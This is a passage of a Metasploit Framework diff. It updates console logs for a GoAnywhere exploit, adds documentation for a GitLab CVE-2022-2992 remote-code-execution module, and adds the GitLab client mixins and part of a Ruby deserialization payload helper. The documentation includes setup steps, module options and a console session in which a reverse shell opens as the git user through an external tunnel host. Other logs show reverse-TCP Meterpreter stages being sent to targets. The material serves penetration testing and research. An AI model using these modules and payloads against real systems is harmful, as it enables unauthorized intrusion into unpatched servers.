[*] Sending stage (24380 bytes) to 10.0.0.219
|
||||
@@ -65,16 +65,16 @@ Server username: ron
|
||||
msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
|
||||
RHOSTS => 10.0.0.219
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set TARGET 1
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set TARGET 1
|
||||
TARGET => 1
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > show options
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > show options
|
||||
|
||||
[...]
|
||||
|
||||
@@ -89,7 +89,7 @@ Exploit target:
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[*] Sending stage (24380 bytes) to 10.0.0.219
|
||||
@@ -104,20 +104,20 @@ meterpreter >
|
||||
msf6 > use exploit/multi/http/fortra_goanywhere_rce_cve_2023_0669
|
||||
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179
|
||||
LHOST => 10.0.0.179
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219
|
||||
RHOSTS => 10.0.0.219
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set RPORT 8000
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RPORT 8000
|
||||
RPORT => 8000
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > set SSL false
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set SSL false
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
SSL => false
|
||||
|
||||
msf6 exploit(linux/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
|
||||
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.0.179:4444
|
||||
[*] Sending stage (24380 bytes) to 10.0.0.219
|
||||
|
||||
@@ -0,0 +1,201 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
An authenticated user can import a repository from GitHub into GitLab.
|
||||
|
||||
When importing a GitHub repository the GitLab api client uses `Sawyer` for handling the responses. This takes a JSON hash and converts
|
||||
it into a Ruby class that has methods matching all of the keys. This happens recursively, and allows for any method to be overridden
|
||||
including built-in methods such as `to_s`.
|
||||
|
||||
The redis gem uses `to_s` and `bytesize` to generate the RESP (Redis serialization protocol) command. By replying with a specially
|
||||
crafted JSON object (that will be further parsed as a `Sawyer::Resource`), one controlling the GitHub server can inject arbitrary
|
||||
redis commands to the stream.
|
||||
|
||||
On August 30, 2022, GitLab released a software update that addressed this vulnerability (CVE-2022-2992).
|
||||
|
||||
The following products are affected:
|
||||
|
||||
- From 11.10 to 15.1.6
|
||||
- From 15.2 to 15.2.4
|
||||
- From 15.3 to 15.3.2
|
||||
|
||||
|
||||
### Exploitation
|
||||
|
||||
This module exploits the GitLab vulnerability by injecting a Ruby serialized object into the Redis user
|
||||
session object. Once GitLab calls the Marshal.load when loading the ` _gitlab_session` cookie, it will
|
||||
execute a deserialization gadget and trigger the payload.
|
||||
|
||||
To achieve that this module:
|
||||
- Will generate an universal Ruby deserialization gadget payload;
|
||||
- Will create an access token for the user targeted;
|
||||
- Will start a server to emulate GitHub and serve the payload to be injected;
|
||||
- Will create a group and also trigger the GitHub import feature to the repository from the controlled server
|
||||
- Will perform a request using the just injected session ID that when loaded must trigger the payload.
|
||||
|
||||
After the execution the cleanup method will be called and:
|
||||
- Should delete the created group and consequently the repository
|
||||
- Should revoke the access token created
|
||||
- Should logout the user
|
||||
|
||||
### Setup
|
||||
|
||||
Create a `docker-compose.yml` file as below:
|
||||
|
||||
```yml
|
||||
services:
|
||||
gitlab:
|
||||
image: 'gitlab/gitlab-ee:15.3.1-ee.0'
|
||||
restart: always
|
||||
container_name: gitlab
|
||||
hostname: 'gitlab.example'
|
||||
network_mode: "bridge"
|
||||
ports:
|
||||
- '880:80'
|
||||
- '8443:443'
|
||||
volumes:
|
||||
- gitlab_config:/etc/gitlab
|
||||
- gitlab_logs:/var/log/gitlab
|
||||
- gitlab_data:/var/opt/gitlab
|
||||
volumes:
|
||||
gitlab_config:
|
||||
driver: local
|
||||
gitlab_logs:
|
||||
driver: local
|
||||
gitlab_data:
|
||||
driver: local
|
||||
```
|
||||
|
||||
Run the below command to create the container:
|
||||
|
||||
```
|
||||
$ docker-compose up
|
||||
```
|
||||
|
||||
Wait for container to be "healthy" before continue. One can use [this](https://github.com/redwaysecurity/CVEs/blob/main/CVE-2022-2992/environment/healthy.sh) bash script to monitor the status.
|
||||
|
||||
```
|
||||
$ # Creating personal access token for the root user
|
||||
$ TOKEN=`tr -dc A-Za-z0-9 </dev/urandom | head -c 24 ; echo ''`
|
||||
$ docker exec -e TOKEN=$TOKEN -it gitlab gitlab-rails runner "token = User.find_by_username('root').personal_access_tokens.create(scopes: [:sudo, :api], name: 'Automation token'); token.set_token(ENV['TOKEN']); token.save!"
|
||||
$ # Using the personal access token from the root user a user.
|
||||
$ USER=msf
|
||||
$ PASSWORD=SuperStrongestGitLabPassword
|
||||
$ curl --request POST --header "PRIVATE-TOKEN: $TOKEN" --data "skip_confirmation=true&email=$USER@gitlab.example&name=$USER&username=$USER&password=$PASSWORD" "http://gitlab.example:880/api/v4/users"
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI (required)
|
||||
|
||||
The path to the GitLab (Default: `/`).
|
||||
|
||||
### USERNAME (required)
|
||||
|
||||
The username of the target user to authenticate with.
|
||||
|
||||
### PASSWORD (required)
|
||||
|
||||
The password of the target user to authenticate with.
|
||||
|
||||
### SRVHOST (required)
|
||||
|
||||
The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
|
||||
### SRVPORT (required)
|
||||
|
||||
The local port to listen on. This is the port to be used when creating the tunnel.
|
||||
|
||||
### URIHOST
|
||||
|
||||
Host to use in GitHub import URL. On default GitLab instances, this must be either a public (non-RFC1918) IP address or
|
||||
a hostname that resolves to a public IP address. This option can be used in conjunction with a reverse port-forwarding
|
||||
service such as SSH or NGROK. **The target GitLab server will connect to this host and eventually receive the payload
|
||||
through it, so it is important to use a host that is considered to be trustworthy.**
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker container running GitLab 15.3.1
|
||||
|
||||
The following example uses the following three hosts:
|
||||
|
||||
* 192.168.159.128 -- The target GitLab server
|
||||
* 192.168.250.134 -- The host on which Metasploit is running
|
||||
* ext.msflab.local -- An external host on the internet through which the HTTP requests from GitLab to Metasploit are
|
||||
tunneled in order to bypass GitLab restrictions.
|
||||
|
||||
External to Metasploit, SSH is used to setup a reverse port forward through a host with a public (non-RFC1918) IP
|
||||
address. This is necessary to bypass Import URL restrictions that are in place by default on GitLab. The port-forward
|
||||
was configured with `ssh -R 8088:localhost:8088 ext.msflab.local` to forward TCP port 8088 on ext.msflab.local to the
|
||||
local Metasploit instance. Alternatively, this step could be skipped if Metasploit were running on a host with public IP
|
||||
address.
|
||||
|
||||
If the target GitLab server can not import from the specified URL (for example because the host is a private IP
|
||||
address), then the module will throw this error:
|
||||
|
||||
```
|
||||
[-] Exploit failed: Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError Invalid URL: http://192.168.250.134:8088/
|
||||
```
|
||||
|
||||
```
|
||||
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > options
|
||||
|
||||
Module options (exploit/multi/http/gitlab_github_import_rce_cve_2022_2992):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
IMPORT_DELAY 5 yes Time to wait from the import task before try to trigger the payload
|
||||
PASSWORD Password1! yes The password for the specified username
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.159.128 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 880 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8088 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes The base path to the gitlab application
|
||||
URIHOST ext.msflab.local no Host to use in GitHub import URL
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
USERNAME smcintyre yes The username to authenticate as
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 192.168.250.134 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.250.134:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Detected GitLab version 15.3.1 which is vulnerable.
|
||||
[*] Using URL: http://ext.msflab.local:8088/
|
||||
[*] Command shell session 1 opened (192.168.250.134:4444 -> 192.168.250.134:56794) at 2023-02-13 13:41:05 -0500
|
||||
id
|
||||
[*] Server stopped.
|
||||
|
||||
uid=998(git) gid=998(git) groups=998(git)
|
||||
pwd
|
||||
/var/opt/gitlab/gitlab-rails/working
|
||||
exit
|
||||
[*] 192.168.159.128 - Command shell session 1 closed.
|
||||
msf6 exploit(multi/http/gitlab_github_import_rce_cve_2022_2992) >
|
||||
```
|
||||
@@ -1,5 +1,6 @@
|
||||
require 'rbconfig'
|
||||
require 'yaml'
|
||||
require 'open3'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
@@ -17,20 +18,21 @@ module Metasploit
|
||||
version_info = YAML.load_file(version_yml)
|
||||
hash = '-' + version_info['build_framework_rev']
|
||||
else
|
||||
# determine if git is installed
|
||||
null = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null'
|
||||
git_installed = system("git --version > #{null} 2>&1")
|
||||
|
||||
# get the hash of the HEAD commit
|
||||
if git_installed && File.exist?(File.join(root, '.git'))
|
||||
hash = '-' + `git rev-parse --short HEAD`
|
||||
# Fallback to using Git version detection if version_yml not present
|
||||
changed_files = %w[git rev-parse --short HEAD]
|
||||
begin
|
||||
# stderr may contain Git warnings that we can ignore
|
||||
output, _stderr, status = ::Open3.capture3(*changed_files, chdir: root)
|
||||
hash = "-#{output}" if status.success?
|
||||
rescue => e
|
||||
elog(e) if defined?(elog)
|
||||
end
|
||||
end
|
||||
hash.strip
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.3.2"
|
||||
VERSION = "6.3.4"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
class Exploit
|
||||
class Remote
|
||||
module HTTP
|
||||
# This module provides a way of interacting with gitlab installations
|
||||
module Gitlab
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Authenticate
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Error
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Form
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Groups
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Helpers
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Import
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Rest
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Version
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the gitlab application', '/'])
|
||||
], Msf::Exploit::Remote::HTTP::Gitlab
|
||||
)
|
||||
end
|
||||
|
||||
# class GitLabClientException < StandardError; end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab Access Tokens mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::AccessTokens
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Form::AccessTokens
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::AccessTokens
|
||||
end
|
||||
@@ -0,0 +1,5 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Authenticate
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Form::Authenticate
|
||||
end
|
||||
@@ -0,0 +1,43 @@
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Error
|
||||
# GitLab error mixin
|
||||
class ClientError < ::StandardError
|
||||
def initialize(message: nil)
|
||||
super(message || 'Gitlab Client Error')
|
||||
end
|
||||
end
|
||||
|
||||
# Authentication error
|
||||
class AuthenticationError < ClientError
|
||||
def initialize
|
||||
super(message: 'Authentication failed')
|
||||
end
|
||||
end
|
||||
|
||||
# Csrf token error
|
||||
class CsrfError < ClientError
|
||||
def initialize(message = 'Could not successfully extract CSRF token')
|
||||
super(message: message)
|
||||
end
|
||||
end
|
||||
|
||||
# Group error
|
||||
class GroupError < ClientError
|
||||
def initialize(message)
|
||||
super(message: message)
|
||||
end
|
||||
end
|
||||
|
||||
# Import error
|
||||
class ImportError < ClientError
|
||||
def initialize(message)
|
||||
super(message: message)
|
||||
end
|
||||
end
|
||||
|
||||
# Version error
|
||||
class VersionError < ClientError
|
||||
def initialize
|
||||
super(message: 'Unable to determine Gitlab version')
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,2 @@
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Form
|
||||
end
|
||||
@@ -0,0 +1,34 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# Create a Gitlab Access Token via form
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Form::AccessTokens
|
||||
# Create Gitlab access access token
|
||||
#
|
||||
# @return [String,nil] Gitlab personal access token if created, nil otherwise
|
||||
def gitlab_create_personal_access_token
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/-/profile/personal_access_tokens'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'personal_access_token[name]' => Rex::Text.rand_text_alphanumeric(8),
|
||||
'personal_access_token[expires_at]' => '',
|
||||
'personal_access_token[scopes][]' => 'api',
|
||||
'commit' => 'Create personal access token'
|
||||
},
|
||||
'headers' => {
|
||||
'X-CSRF-Token' => gitlab_helper_extract_csrf_token(path: '/-/profile/personal_access_tokens', regex: /name="csrf-token" content="(.*)"/)
|
||||
}
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to create access token. Unexpected HTTP #{res.code} response." unless res.code == 200
|
||||
|
||||
token = JSON.parse(res.body)['new_token']
|
||||
|
||||
return token if token
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,61 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab session mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Form::Authenticate
|
||||
# performs a gitlab login
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
|
||||
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def gitlab_sign_in(username, password)
|
||||
sign_in_path = '/users/sign_in'
|
||||
csrf_token = gitlab_helper_extract_csrf_token(
|
||||
path: sign_in_path,
|
||||
regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"}
|
||||
)
|
||||
raise Msf::Exploit::Remote::HTTP::GitLab::Error::CsrfError unless csrf_token
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, sign_in_path),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => gitlab_helper_login_post_data(username, password, csrf_token)
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError if res.code != 302
|
||||
|
||||
cookies = res.get_cookies
|
||||
# Check if a valid gitlab cookie is returned
|
||||
return cookies if cookies =~ /(_gitlab_session=[A-Za-z0-9%-]+)/i
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# performs a gitlab logout
|
||||
#
|
||||
# @return [Boolean,GitLabError] True if sign out, Msf::Exploit::Remote::HTTP::Gitlab::Error otherwise
|
||||
def gitlab_sign_out
|
||||
csrf_token = gitlab_helper_extract_csrf_token(
|
||||
path: '/',
|
||||
regex: /name="csrf-token" content="(.*)"/
|
||||
)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/users/sign_out'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'_method' => 'post',
|
||||
'authenticity_token' => csrf_token
|
||||
}
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, 'Failed to sign out' unless res.code == 302 && res.headers&.fetch('Location', '')&.include?('/users/sign_in')
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,6 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab Groups mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Groups
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Groups
|
||||
end
|
||||
@@ -0,0 +1,43 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab helpers mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Helpers
|
||||
# Helper methods are private and should not be called by modules
|
||||
|
||||
private
|
||||
|
||||
# Returns the POST data for a Gitlab login request
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @param csrf_token [String] CSRF token
|
||||
# @return [Hash] The post data for vars_post Parameter
|
||||
def gitlab_helper_login_post_data(user, pass, csrf_token)
|
||||
post_data = {
|
||||
'utf8' => '✓',
|
||||
'authenticity_token' => csrf_token,
|
||||
'user[login]' => user,
|
||||
'user[password]' => pass,
|
||||
'user[remember_me]' => 0
|
||||
}
|
||||
post_data
|
||||
end
|
||||
|
||||
def gitlab_helper_extract_csrf_token(path:, regex:)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, path),
|
||||
'keep_cookies' => true
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' if res.nil?
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError unless res&.code == 200
|
||||
|
||||
token = res.body[regex, 1]
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError, "Could not successfully extract CSRF token using the regex #{regex}" if token.nil?
|
||||
|
||||
token
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,6 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab import mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Import
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Import
|
||||
end
|
||||
@@ -0,0 +1,4 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Rest
|
||||
end
|
||||
@@ -0,0 +1,2 @@
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4
|
||||
end
|
||||
@@ -0,0 +1,23 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::AccessTokens
|
||||
# Revoke a Gitlab access token via the v4 REST api
|
||||
#
|
||||
# @return [nil,GitLabClientError] nil if revoke, Msf::Exploit::Remote::HTTP::Gitlab::GitLabClientError otherwise
|
||||
def gitlab_revoke_personal_access_token(personal_access_token)
|
||||
res = send_request_cgi({
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(target_uri.path, '/api/v4/personal_access_tokens/self'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'PRIVATE-TOKEN' => personal_access_token
|
||||
}
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError, "Failed to revoke access token. Unexpected HTTP #{res.code} response." unless res.code == 204
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,51 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab Groups mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Groups
|
||||
# Create a new group
|
||||
#
|
||||
# @return [String,nil] Group ID if successful create, nil otherwise
|
||||
def gitlab_create_group(group_name, api_token)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/api/v4/groups'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'PRIVATE-TOKEN' => api_token
|
||||
},
|
||||
'data' => {
|
||||
name: group_name, path: group_name, visibility: 'public'
|
||||
}.to_json
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to create group. Unexpected HTTP #{res.code} response." if res.code != 201
|
||||
|
||||
group = JSON.parse(res.body)
|
||||
|
||||
return group if group
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Delete a group
|
||||
#
|
||||
# @return [Bolean,GitLabClientError] True if successful deleted, Msf::Exploit::Remote::HTTP::Gitlab::GitLabClientError otherwise
|
||||
def gitlab_delete_group(group_id, api_token)
|
||||
res = send_request_cgi({
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri('/api/v4/groups', group_id),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'PRIVATE-TOKEN' => api_token
|
||||
}
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, "Unable to delete group. Unexpected HTTP #{res.code} response." if res.code != 202
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,45 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Import
|
||||
# Import a repository from a remote URL
|
||||
#
|
||||
# @return [String,nil] Import ID if successfully enqueued, nil otherwise
|
||||
def gitlab_import_github_repo(group_name:, github_hostname:, api_token:)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/api/v4/import/github'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'PRIVATE-TOKEN' => api_token
|
||||
},
|
||||
'data' => {
|
||||
'personal_access_token' => Rex::Text.rand_text_alphanumeric(8),
|
||||
'repo_id' => rand(1000),
|
||||
'target_namespace' => group_name,
|
||||
'new_name' => "gh-import-#{rand(1000)}",
|
||||
'github_hostname' => github_hostname
|
||||
}.to_json
|
||||
})
|
||||
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
|
||||
# 422 is returned if the import failed, but the response body contains the error message
|
||||
if res.code == 422
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, ((res.get_json_document || {})['errors'] || 'Import failed')
|
||||
end
|
||||
|
||||
# 201 is returned if the import was successfully enqueued
|
||||
unless res.code == 201
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ImportError, ((res.get_json_document || {})['errors'] || 'Import failed')
|
||||
end
|
||||
|
||||
# Example of a successful response body
|
||||
# {"id":54,"name":"gh-import-761","full_path":"/fpXxUqzfQY/gh-import-761","full_name":"fpXxUqzfQY / gh-import-761"}
|
||||
|
||||
body = res.get_json_document
|
||||
|
||||
return body if body
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,23 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Version
|
||||
# Extracts the Gitlab version information from various sources
|
||||
#
|
||||
# @return [String,nil] Gitlab version if found, nil otherwise
|
||||
def gitlab_version
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/api/v4/version'),
|
||||
'keep_cookies' => true
|
||||
})
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res
|
||||
raise Msf::Exploit::Remote::HTTP::Gitlab::Error::VersionError unless res.code == 200
|
||||
|
||||
body = JSON.parse(res.body)
|
||||
version = body['version'][Regexp.new(Msf::Exploit::Remote::HTTP::Gitlab::GITLAB_VERSION_PATTERN), 1]
|
||||
|
||||
return version if version
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,9 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# GitLab version mixin
|
||||
module Msf::Exploit::Remote::HTTP::Gitlab::Version
|
||||
# Used to check if the version is correct: must contain at least one dot
|
||||
GITLAB_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)'.freeze
|
||||
|
||||
include Msf::Exploit::Remote::HTTP::Gitlab::Rest::V4::Version
|
||||
end
|
||||
@@ -0,0 +1,54 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
# Ruby deserialization mixin
|
||||
module Msf
|
||||
# Ruby deserialization exploit module
|
||||
module Exploit::RubyDeserialization
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
# Generate a binary blob that when deserialized by Ruby will execute the specified command using the platform-specific
|
||||
# shell.
|
||||
#
|
||||
# @param [String] name The name of the payload to use.
|
||||
# @param [String] command The OS command to execute.
|
||||
#
|
||||
# @return [String] The opaque data blob.
|
||||
def generate_ruby_deserialization_for_command(command, name)
|
||||
Msf::Util::RubyDeserialization.payload(name, command)
|
||||
end
|
||||
|
||||
# Generate a binary blob that when deserialized by ruby will execute the specified payload. This routine converts the
|
||||
# payload automatically based on the platform and architecture.
|
||||
#
|
||||
# @param [String] name The name of the payload to use.
|
||||
# @param [Msf::EncodedPayload] payload The payload to execute.
|
||||
#
|
||||
# @raise [RuntimeError] This raises a RuntimeError of the specified payload can not be automatically converted to an
|
||||
# operating system command.
|
||||
#
|
||||
# @return [String] The opaque data blob.
|
||||
def generate_ruby_deserialization_for_payload(payload, name)
|
||||
command = nil
|
||||
|
||||
if payload.platform.platforms == [Msf::Module::Platform::Windows]
|
||||
if [ Rex::Arch::ARCH_X86, Rex::Arch::ARCH_X64 ].include? payload.arch.first
|
||||
command = cmd_psh_payload(payload.encoded, payload.arch.first, { remove_comspec: true })
|
||||
elsif payload.arch.first == Rex::Arch::ARCH_CMD
|
||||
command = payload.encoded
|
||||
end
|
||||
elsif payload.arch.first == Rex::Arch::ARCH_CMD
|
||||
command = payload.encoded
|
||||
end
|
||||
|
||||
